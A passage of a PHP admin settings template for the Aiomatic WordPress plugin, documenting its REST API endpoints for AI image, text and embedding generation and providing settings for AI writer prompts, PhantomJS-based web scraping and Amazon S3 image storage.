colspan="2"> <iframe class="youtube-responsive" src="https://www.youtube.com/embed/XobHHz5bLos" frameborder="0" allowfullscreen></iframe> </td></tr> <tr class="aiomatic-title-holder"><td colspan="2"><h2 class="aiomatic-inner-title"><?php echo esc_html__("Aiomatic REST API Documentation:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr><td colspan="2"> <p><?php echo esc_html__("This documentation provides details about the Aiomatic REST API endpoints and how to use them.", 'aiomatic-automatic-ai-content-writer');?></p> <div class="endpoint"> <h2><?php echo esc_html__("Generate Image Endpoint", 'aiomatic-automatic-ai-content-writer');?></h2> <p><code><?php echo get_rest_url();?>aiomatic/v1/image</code></p> <h4><?php echo esc_html__("Methods", 'aiomatic-automatic-ai-content-writer');?></h4> <p><?php echo esc_html__("Supported methods:", 'aiomatic-automatic-ai-content-writer');?> <code>GET</code>, <code>POST</code></p> <h4><?php echo esc_html__("Parameters", 'aiomatic-automatic-ai-content-writer');?></h4> <ul> <li><strong><?php echo esc_html__("apikey", 'aiomatic-automatic-ai-content-writer');?></strong> <?php echo esc_html__("(required if set in plugin settings): The API key for authentication.", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong><?php echo esc_html__("prompt", 'aiomatic-automatic-ai-content-writer');?></strong> <?php echo esc_html__("(required): The prompt text for image generation.", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong><?php echo esc_html__("model", 'aiomatic-automatic-ai-content-writer');?></strong> <?php echo esc_html__("(optional): The model to be used for image generation. Supported models are: dalle2, dalle3, dalle3hd", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong><?php echo esc_html__("assistant", 'aiomatic-automatic-ai-content-writer');?></strong> <?php echo esc_html__("(optional): An alternative to the model parameter. Enter the assistant ID returned by the Assistants Listing endpoint.", 'aiomatic-automatic-ai-content-writer');?></li> </ul> <h4><?php echo esc_html__("Example Request", 'aiomatic-automatic-ai-content-writer');?></h4> <pre><code>GET <?php echo get_rest_url();?>aiomatic/v1/image?apikey=YOUR_API_KEY&prompt=Generate+an+image+of+a+sunset</code></pre> <pre><code>POST <?php echo get_rest_url();?>aiomatic/v1/image Content-Type: application/json { "apikey": "YOUR_API_KEY", "prompt": "Generate an image of a sunset", "model": "dalle3" }</code></pre> <h4><?php echo esc_html__("Example Response", 'aiomatic-automatic-ai-content-writer');?></h4> <pre><code>{ "success": true, "image_url": "http://example.com/generated_image.jpg" }</code></pre> <h4><?php echo esc_html__("Error Responses", 'aiomatic-automatic-ai-content-writer');?></h4> <pre><code>{ "success": false, "error": "You need to specify an API key for this request" }</code></pre> </div> <div class="endpoint"> <h2><?php echo esc_html__("Generate Embedding Endpoint", 'aiomatic-automatic-ai-content-writer');?></h2> <h4><?php echo esc_html__("Endpoint", 'aiomatic-automatic-ai-content-writer');?></h4> <p><code><?php echo get_rest_url();?>aiomatic/v1/embeddings</code></p> <h4><?php echo esc_html__("Methods", 'aiomatic-automatic-ai-content-writer');?></h4> <p><?php echo esc_html__("Supported methods:", 'aiomatic-automatic-ai-content-writer');?> <code>GET</code>, <code>POST</code></p> <h4><?php echo esc_html__("Parameters", 'aiomatic-automatic-ai-content-writer');?></h4> <ul> <li><strong><?php echo esc_html__("apikey", 'aiomatic-automatic-ai-content-writer');?></strong> <?php echo esc_html__("(required if set in plugin settings): The API key for authentication.", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong><?php echo esc_html__("prompt", 'aiomatic-automatic-ai-content-writer');?></strong> <?php echo esc_html__("(required): The prompt text for generating embeddings.", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong><?php echo esc_html__("model", 'aiomatic-automatic-ai-content-writer');?></strong> <?php echo esc_html__("(optional): The model to be used for generating embeddings.", 'aiomatic-automatic-ai-content-writer');?></li> </ul> <h4><?php echo esc_html__("Example Request", 'aiomatic-automatic-ai-content-writer');?></h4> <pre><code>GET <?php echo get_rest_url();?>aiomatic/v1/embeddings?apikey=YOUR_API_KEY&prompt=Generate+an+embedding+for+this+text&model=text-embedding-3-small</code></pre> <pre><code>POST <?php echo get_rest_url();?>aiomatic/v1/embeddings Content-Type: application/json { "apikey": "YOUR_API_KEY", "prompt": "Generate an embedding for this text", "model": "text-embedding-3-small" }</code></pre> <h4><?php echo esc_html__("Example Response", 'aiomatic-automatic-ai-content-writer');?></h4> <pre><code>{ "success": true, "embedding": [...] }</code></pre> <h4><?php echo esc_html__("Error Responses", 'aiomatic-automatic-ai-content-writer');?></h4> <pre><code>{ "success": false, "error": "You need to specify an API key for this request" }</code></pre> </div> <div class="endpoint"> <h2><?php echo esc_html__("Generate Text Endpoint", 'aiomatic-automatic-ai-content-writer');?></h2> <h4><?php echo esc_html__("Endpoint", 'aiomatic-automatic-ai-content-writer');?></h4> <p><code><?php echo get_rest_url();?>aiomatic/v1/text</code></p> <h4><?php echo esc_html__("Methods", 'aiomatic-automatic-ai-content-writer');?></h4> <p><?php echo esc_html__("Supported methods:", 'aiomatic-automatic-ai-content-writer');?> <code>GET</code>, <code>POST</code></p> <h4><?php echo esc_html__("Parameters", 'aiomatic-automatic-ai-content-writer');?></h4> <ul> <li><strong><?php echo esc_html__("apikey", 'aiomatic-automatic-ai-content-writer');?></strong> <?php echo esc_html__("(required if set in plugin settings): The API key for authentication.", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong><?php echo esc_html__("prompt", 'aiomatic-automatic-ai-content-writer');?></strong> <?php echo esc_html__("(required): The prompt text for generating AI content.", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong><?php echo esc_html__("model", 'aiomatic-automatic-ai-content-writer');?></strong> <?php echo esc_html__("(optional): The model to be used for generating text.", 'aiomatic-automatic-ai-content-writer');?></li> <li><strong><?php echo esc_html__("assistant", 'aiomatic-automatic-ai-content-writer');?></strong> <?php echo esc_html__("(optional): An alternative to the model parameter.", 'aiomatic-automatic-ai-content-writer');?></li> </ul> <h4><?php echo esc_html__("Example Request", 'aiomatic-automatic-ai-content-writer');?></h4> <pre><code>GET <?php echo get_rest_url();?>aiomatic/v1/text?apikey=YOUR_API_KEY&prompt=Generate+text+based+on+this+prompt&model=gpt-4o-mini</code></pre> <pre><code>POST <?php echo get_rest_url();?>aiomatic/v1/text Content-Type: application/json { "apikey": "YOUR_API_KEY", "prompt": "Generate text based on this prompt", "model": "gpt-4o-mini" }</code></pre> <h4><?php echo esc_html__("Example Response", 'aiomatic-automatic-ai-content-writer');?></h4> <pre><code>{ "success": true, "data": "Generated text based on the provided prompt...", "input_tokens": "Input token count (numeric)", "output_tokens": "Output token count (numeric)" }</code></pre> <h4><?php echo esc_html__("Error Responses", 'aiomatic-automatic-ai-content-writer');?></h4> <pre><code>{ "success": false, "error": "You need to specify an API key for this request" }</code></pre> </div> <div class="endpoint"> <h2><?php echo esc_html__("List AI Assistants Endpoint", 'aiomatic-automatic-ai-content-writer');?></h2> <h4><?php echo esc_html__("Endpoint", 'aiomatic-automatic-ai-content-writer');?></h4> <p><code><?php echo get_rest_url();?>aiomatic/v1/assistants</code></p> <h4><?php echo esc_html__("Methods", 'aiomatic-automatic-ai-content-writer');?></h4> <p><?php echo esc_html__("Supported methods:", 'aiomatic-automatic-ai-content-writer');?> <code>GET</code>, <code>POST</code></p> <h4><?php echo esc_html__("Parameters", 'aiomatic-automatic-ai-content-writer');?></h4> <ul> <li><strong><?php echo esc_html__("apikey", 'aiomatic-automatic-ai-content-writer');?></strong> <?php echo esc_html__("(required if set in plugin settings): The API key for authentication.", 'aiomatic-automatic-ai-content-writer');?></li> </ul> <h4><?php echo esc_html__("Example Request", 'aiomatic-automatic-ai-content-writer');?></h4> <pre><code>GET <?php echo get_rest_url();?>aiomatic/v1/assistants?apikey=YOUR_API_KEY</code></pre> <pre><code>POST <?php echo get_rest_url();?>aiomatic/v1/assistants Content-Type: application/json { "apikey": "YOUR_API_KEY" }</code></pre> <h4><?php echo esc_html__("Example Response", 'aiomatic-automatic-ai-content-writer');?></h4> <pre><code>{ "success": true, "assistants": { "Assistant ID 1": "Assistant Name 1", "Assistant ID 2": "Assistant Name 2" } }</code></pre> <h4><?php echo esc_html__("Error Responses", 'aiomatic-automatic-ai-content-writer');?></h4> <pre><code>{ "success": false, "error": "You need to specify an API key for this request" }</code></pre> </div> <div class="endpoint"> <h2><?php echo esc_html__("List AI Models Endpoint", 'aiomatic-automatic-ai-content-writer');?></h2> <h4><?php echo esc_html__("Endpoint", 'aiomatic-automatic-ai-content-writer');?></h4> <p><code><?php echo get_rest_url();?>aiomatic/v1/models</code></p> <h4><?php echo esc_html__("Methods", 'aiomatic-automatic-ai-content-writer');?></h4> <p><?php echo esc_html__("Supported methods:", 'aiomatic-automatic-ai-content-writer');?> <code>GET</code>, <code>POST</code></p> <h4><?php echo esc_html__("Parameters", 'aiomatic-automatic-ai-content-writer');?></h4> <ul> <li><strong><?php echo esc_html__("apikey", 'aiomatic-automatic-ai-content-writer');?></strong> <?php echo esc_html__("(required if set in plugin settings): The API key for authentication.", 'aiomatic-automatic-ai-content-writer');?></li> </ul> <h4><?php echo esc_html__("Example Request", 'aiomatic-automatic-ai-content-writer');?></h4> <pre><code>GET <?php echo get_rest_url();?>aiomatic/v1/models?apikey=YOUR_API_KEY</code></pre> <pre><code>POST <?php echo get_rest_url();?>aiomatic/v1/models Content-Type: application/json { "apikey": "YOUR_API_KEY" }</code></pre> <h4><?php echo esc_html__("Example Response", 'aiomatic-automatic-ai-content-writer');?></h4> <pre><code>{ "success": true, "models": [ "gpt-4o-mini", "gpt-4-turbo" ] }</code></pre> <h4><?php echo esc_html__("Error Responses", 'aiomatic-automatic-ai-content-writer');?></h4> <pre><code>{ "success": false, "error": "You need to specify an API key for this request" }</code></pre> </div> </td></tr> </table> </div> <div id="tab-27<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('AI Writer', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'AI Writer Default Settings' tab allows you to set and adjust the default parameters for the AI content generation tools, ensuring consistency and alignment with your WordPress site's style and tone.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"><td><h2 class="aiomatic-inner-title"><?php echo esc_html__("AI Post Writer Default Settings:", 'aiomatic-automatic-ai-content-writer');?></h2></td></tr> <tr> <th class="cr_min_width_200"> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the AI Assistant to be used. This will disable the ability to select AI models, as the models assisgned to the assistant will be used for content creation.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Assistant Name:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td><select id="writer_assistant_id" name="aiomatic_Main_Settings[writer_assistant_id]" class="cr_width_full" onchange="assistantSelected('writer_assistant_id', 'disableWriter');"> <?php if($all_assistants === false) { echo '<option val="" selected disabled>' . esc_html__("Only OpenAI API is supported for Assistants API", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { if(count($all_assistants) == 0) { echo '<option val="" selected disabled>' . esc_html__("No Assistans added, go to the plugin's 'AI Assistans' menu to add new assistants!", 'aiomatic-automatic-ai-content-writer') . '</option>'; } else { echo '<option value=""'; if($writer_assistant_id == '') { echo ' selected'; } echo '>' . esc_html__("Don't use assistants, use AI models instead", 'aiomatic-automatic-ai-content-writer') . '</option>'; foreach($all_assistants as $myassistant) { echo '<option value="' . $myassistant->ID .'"'; if($writer_assistant_id == $myassistant->ID) { echo ' selected'; } echo '>' . esc_html($myassistant->post_title); echo '</option>'; } } } ?> </select> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the default model you want to use for the AI writer functionality of the plugin.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Post Writer Default Model:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <select id="ai_writer_model" name="aiomatic_Main_Settings[ai_writer_model]" <?php if($writer_assistant_id != ''){echo ' disabled';}?> class="disableWriter cr_width_full"> <?php foreach($all_models as $modelx) { echo '<option value="' . $modelx .'"'; if ($ai_writer_model == $modelx) { echo " selected"; } echo '>' . esc_html($modelx) . esc_html(aiomatic_get_model_provider($modelx)) . '</option>'; } ?> </select> </div> </td> </tr> <tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt to be used for the AI writer to create titles. You can use the following shortcodes here: %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%% - default value is: Create a captivating and concise SEO title in English for your WordPress %%post_type%%: \"%%post_title_idea%%\". Boost its search engine visibility with relevant keywords for maximum impact.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Post Writer Default Title Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea name="aiomatic_Main_Settings[ai_writer_title_prompt]" placeholder="AI Post Writer Title Prompt" class="cr_width_full"><?php echo esc_textarea($ai_writer_title_prompt);?></textarea> </td> </tr><tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt to be used for the AI writer to create SEO Meta Descriptions. You can use the following shortcodes here: %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%% - default value is: Craft an enticing and succinct meta description in English for your WordPress %%post_type%%: \"%%post_title_idea%%\". Emphasize the notable features and advantages in just 155 characters, incorporating relevant keywords to optimize its SEO performance.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Post Writer Default SEO Meta Description Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea name="aiomatic_Main_Settings[ai_writer_seo_prompt]" placeholder="AI Post Writer SEO Meta Description Prompt" class="cr_width_full"><?php echo esc_textarea($ai_writer_seo_prompt);?></textarea> </td> </tr><tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt to be used for the AI writer to create Content. You can use the following shortcodes here: %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%% - default value is: Create a captivating and comprehensive English description for your WordPress %%post_type%%: \"%%post_title_idea%%\". Dive into specific details, highlighting its unique features of this subject, if possible, benefits, and the value it brings. Craft a compelling narrative around the %%post_type%% that captivates the audience. Use HTML for formatting, include unnumbered lists and bold. Writing Style: Creative. Tone: Neutral.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Post Writer Default Content Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea name="aiomatic_Main_Settings[ai_writer_content_prompt]" placeholder="AI Post Writer Content Prompt" class="cr_width_full"><?php echo esc_textarea($ai_writer_content_prompt);?></textarea> </td> </tr><tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt to be used for the AI writer to create Excerpt. You can use the following shortcodes here: %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%% - default value is: Write a captivating and succinct English summary for the WordPress %%post_type%%: \"%%post_title_idea%%\", accentuating its pivotal features, advantages, and distinctive qualities.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Post Writer Default Excerpt Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea name="aiomatic_Main_Settings[ai_writer_excerpt_prompt]" placeholder="AI Post Writer Content Excerpt" class="cr_width_full"><?php echo esc_textarea($ai_writer_excerpt_prompt);?></textarea> </td> </tr><tr> <th class="cr_min_width_200"> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the prompt to be used for the AI writer to create Tags. You can use the following shortcodes here: %%post_title_idea%%, %%post_title%%, %%post_excerpt%%, %%post_content%%, %%post_type%% - default value is: Suggest a series of pertinent keywords in English for your WordPress %%post_type%%: \"%%post_title_idea%%\". These keywords should be closely connected to the %%post_type%%, optimizing its visibility. Please present the keywords in a comma-separated format without using symbols like -, #, etc.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("AI Post Writer Default Tags Prompt:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <textarea name="aiomatic_Main_Settings[ai_writer_tags_prompt]" placeholder="AI Post Writer Content Tags" class="cr_width_full"><?php echo esc_textarea($ai_writer_tags_prompt);?></textarea> </td> </tr> </table> </div> <div id="tab-30<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('Web Scraping', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'Web Scraping Settings' tab provides tools and options to configure and manage web scraping activities, enabling efficient data extraction and content sourcing for your WordPress site.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"> <tr class="aiomatic-title-holder"> <td colspan="2"> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Scraping Enhancements Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo sprintf( wp_kses( __( "Set the path on your local server of the phantomjs executable. If you leave this field blank, the default 'phantomjs' call will be used. <a href='%s' target='_blank'>How to install PhantomJs?</a>", 'aiomatic-automatic-ai-content-writer'), array( 'a' => array( 'href' => array(), 'target' => array() ) ) ), "//coderevolution.ro/knowledge-base/faq/how-to-install-phantomjs/" ); ?> </div> </div> <b><?php echo esc_html__("PhantomJS Path On Server:", 'aiomatic-automatic-ai-content-writer');?></b> <?php if($phantom_path != '') { $phchecked = get_transient('aiomatic_phantom_check'); if($phchecked === false) { $phantom = aiomatic_testPhantom(); if($phantom === 0) { echo '<br/><span class="cr_red12"><b>' . esc_html__('INFO: PhantomJS not found - please install it on your server or configure the path to it in plugin\'s \'Settings\'!', 'aiomatic-automatic-ai-content-writer') . '</b> <a href=\'//coderevolution.ro/knowledge-base/faq/how-to-install-phantomjs/\' target=\'_blank\'>' . esc_html__('How to install PhantomJs?', 'aiomatic-automatic-ai-content-writer') . '</a></span>'; } elseif($phantom === -1) { echo '<br/><span class="cr_red12"><b>' . esc_html__('INFO: PhantomJS cannot run - shell exec is not enabled on your server. Please enable it and retry using this feature of the plugin.', 'aiomatic-automatic-ai-content-writer') . '</b></span>'; } elseif($phantom === -2) { echo '<br/><span class="cr_red12"><b>' . esc_html__('INFO: PhantomJS cannot run - shell exec is not allowed to run on your server (in disable_functions list in php.ini). Please enable it and retry using this feature of the plugin.', 'aiomatic-automatic-ai-content-writer') . '</b></span>'; } elseif($phantom === 1) { echo '<br/><span class="cr_green12"><b>' . esc_html__('INFO: PhantomJS Test Successful', 'aiomatic-automatic-ai-content-writer') . '</b></span>'; set_transient('aiomatic_phantom_check', '1', 2592000); } } else { echo '<br/><span class="cr_green12"><b>' . esc_html__('INFO: PhantomJS OK', 'aiomatic-automatic-ai-content-writer') . '</b></span>'; } } ?> </div> </th> <td> <div> <input type="text" id="phantom_path" class="cr_width_full" placeholder="<?php echo esc_html__("Path to phantomjs", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[phantom_path]" value="<?php echo esc_html($phantom_path);?>"/> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Set the timeout (in milliseconds) for every headless browser running. I recommend that you leave this field at it's default value (30000). If you leave this field blank, the default value will be used.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Timeout for Headless Browser Execution:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" id="phantom_timeout" class="cr_width_full" step="1" min="1" placeholder="<?php echo esc_html__("Input headless browser timeout in milliseconds", 'aiomatic-automatic-ai-content-writer');?>" name="aiomatic_Main_Settings[phantom_timeout]" value="<?php echo esc_html($phantom_timeout);?>"/> </div> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input a separator for multiple content extracted from multiple HTML entities that match the same class defined for crawling. Default is a new line.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Multiple Crawled Content Separator:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="text" id="multi_separator" class="cr_width_full" name="aiomatic_Main_Settings[multi_separator]" value="<?php echo esc_attr($multi_separator);?>" placeholder="<?php echo esc_html__("Content separator", 'aiomatic-automatic-ai-content-writer');?>"> </td> </tr> </table> </div> <div id="tab-28<?php if($is_activated !== true && $is_activated !== 2){echo 'x';}?>" class="tab-content"> <h3><?php echo esc_html__('Cloud Storage Options', 'aiomatic-automatic-ai-content-writer');?></h3> <p class="aiomatic-settings-desc"><?php echo esc_html__("The 'Cloud Storage' tab allows you to manage and configure cloud storage options for securely saving and accessing AI generated images and videos.", 'aiomatic-automatic-ai-content-writer'); ?></p> <table class="widefat"><tr class="aiomatic-title-holder"> <td colspan="2"> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Image Storage Options:", 'aiomatic-automatic-ai-content-writer');?></h2> </td></tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Click this option to enable integration with the 'Featured Image from URL' plugin - https://wordpress.org/plugins/featured-image-from-url/ (you need to install and activate this plugin). This will not copy featured images of created posts locally, but will link them directly from their source.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Enable 'Featured Image from URL' Integration:", 'aiomatic-automatic-ai-content-writer');?></b> <?php if ($url_image == 'on' && !is_plugin_active('featured-image-from-url/featured-image-from-url.php') && !is_plugin_active('fifu-premium/fifu-premium.php')) { ?> <br/> <b class="cr_red12"><?php echo esc_html__("The 'Featured Image from URL' plugin is not active. Please install it and activate it: ", 'aiomatic-automatic-ai-content-writer');?> <a href="https://wordpress.org/plugins/featured-image-from-url/" target="_blank">https://wordpress.org/plugins/featured-image-from-url/</a></b> <?php } ?> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="url_image" name="aiomatic_Main_Settings[url_image]"<?php if ($url_image == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to copy royalty free or AI generated images from posts content, from their original location to a local/remote server?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Copy Royalty Free / AI Images From Post Content:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <?php if (is_plugin_active('aiomatic-extension-amazon-s3-images/aiomatic-extension-amazon-s3-images.php')) { $amazon_s3_active = true; } else { $amazon_s3_active = false; } ?> <select id="copy_locally" name="aiomatic_Main_Settings[copy_locally]" onchange="mainChanged();" class="cr_width_full"> <option value="disabled"<?php if ($copy_locally == "disabled") { echo " selected"; } ?>>Disabled</option> <option value="on"<?php if ($copy_locally == "on") { echo " selected"; } ?>>Local Server</option> <option value="amazon"<?php if ($copy_locally == "amazon") { echo " selected"; } if($amazon_s3_active == false) { echo ' disabled'; } ?> >Amazon S3</option> <option value="cloudflare"<?php if ($copy_locally == "cloudflare") { echo " selected"; } if($amazon_s3_active == false) { echo ' disabled'; } ?> >CloudFlare R2</option> <option value="digital"<?php if ($copy_locally == "digital") { echo " selected"; } if($amazon_s3_active == false) { echo ' disabled'; } ?> >Digital Ocean Spaces</option> <option value="wasabi"<?php if ($copy_locally == "wasabi") { echo " selected"; } if($amazon_s3_active == false) { echo ' disabled'; } ?> >Wasabi</option> </select> </td> </tr> <tr class="hideCompress"> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Do you want to disable automatic compression of copied images?", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Disable Automatic Image Compression For Copied Images:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <label class="aiomatic-switch"><input type="checkbox" id="disable_compress" name="aiomatic_Main_Settings[disable_compress]"<?php if ($disable_compress == 'on') echo ' checked '; ?>><span class="aiomatic-slider round"></span></label> </td> </tr> <tr class="hideCompress"> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the quality of the compressed images. Accepted values: 1-100. 1 is lowest quality, 100 is highest quality. If you want to disable this feature, leave this field blank. This feature will work only if you copy AI generated images from their original sources. Default is 75.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Image Compression Quality:", 'aiomatic-automatic-ai-content-writer');?></b> </div> </th> <td> <div> <input type="number" min="1" step="1" max="100" name="aiomatic_Main_Settings[compress_quality]" value="<?php echo esc_html($compress_quality);?>" placeholder="75" class="cr_width_full"> </div> </td> </tr> <?php if($amazon_s3_active == false) { ?> <tr> <td colspan="2"> <b><?php echo esc_html__("Exciting news for Aiomatic plugin users: You can now store royalty-free or AI-generated images in Amazon S3 with Aiomatic's new extension! Get it here: ", 'aiomatic-automatic-ai-content-writer') . '<a href="https://coderevolution.ro/product/aiomatic-extension-amazon-s3-storage-for-images/" target="_blank">' . esc_html__("Aiomatic Extension: Amazon S3 Storage", 'aiomatic-automatic-ai-content-writer') . '</a>';?></b> </td> </tr> <?php } ?> <tr class="aiomatic-title-holder"> <td colspan="2"> <h2 class="aiomatic-inner-title"><?php echo esc_html__("Amazon S3 Settings:", 'aiomatic-automatic-ai-content-writer');?></h2> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Select the folder name from Amazon S3 where to save the video files. If you leave this blank, the videos will be uploaded to the root folder of your Amazon S3. The plugin will create the directory you define here, if it is not already existing.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Amazon S3 Directory:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="text" name="aiomatic_Main_Settings[drive_directory]" value="<?php echo esc_html($drive_directory);?>" placeholder="Folder name from Amazon S3" class="cr_width_full"> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input the bucket name from Amazon S3. You can create your Amazon Bucket, here: ", 'aiomatic-automatic-ai-content-writer') . '<a href="https://s3.console.aws.amazon.com/s3/bucket/create" target="_blank">https://s3.console.aws.amazon.com/s3/bucket/create</a>.'; ?> </div> </div> <b><?php echo esc_html__("Amazon Bucket Name:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <input type="text" name="aiomatic_Main_Settings[bucket_name]" value="<?php echo esc_html($bucket_name);?>" placeholder="Amazon S3 Bucket Name" class="cr_width_full"> </td> </tr> <tr> <th> <div> <div class="bws_help_box bws_help_box_right dashicons dashicons-editor-help cr_align_middle"> <div class="bws_hidden_help_text cr_min_260px"> <?php echo esc_html__("Input the bucket region from Amazon S3.", 'aiomatic-automatic-ai-content-writer'); ?> </div> </div> <b><?php echo esc_html__("Amazon Bucket Region:", 'aiomatic-automatic-ai-content-writer');?></b> </th> <td> <select id="bucket_region" name="aiomatic_Main_Settings[bucket_region]" class="cr_width_full"> <option value="us-west-1"<?php if($bucket_region == 'us-west-1') {echo ' selected';}?>><?php echo esc_html__("US West 1 (N. California)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="us-west-2"<?php if($bucket_region == 'us-west-2') {echo ' selected';}?>><?php echo esc_html__("US West 2 (Oregon)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="us-east-1"<?php if($bucket_region == 'us-east-1') {echo ' selected';}?>><?php echo esc_html__("US East 1 (N. Virginia)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="us-east-2"<?php if($bucket_region == 'us-east-2') {echo ' selected';}?>><?php echo esc_html__("US East 2 (Ohio)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="sa-east-1"<?php if($bucket_region == 'sa-east-1') {echo ' selected';}?>><?php echo esc_html__("South America 1 (Sao Paulo)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="me-south-1"<?php if($bucket_region == 'me-south-1') {echo ' selected';}?>><?php echo esc_html__("Middle East (Bahrain)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="eu-central-1"<?php if($bucket_region == 'eu-central-1') {echo ' selected';}?>><?php echo esc_html__("EU Central 1 (Frankfurt)", 'aiomatic-automatic-ai-content-writer');?></option> <option value="eu-north-1"<?php if($bucket_region == 'eu-north-1') 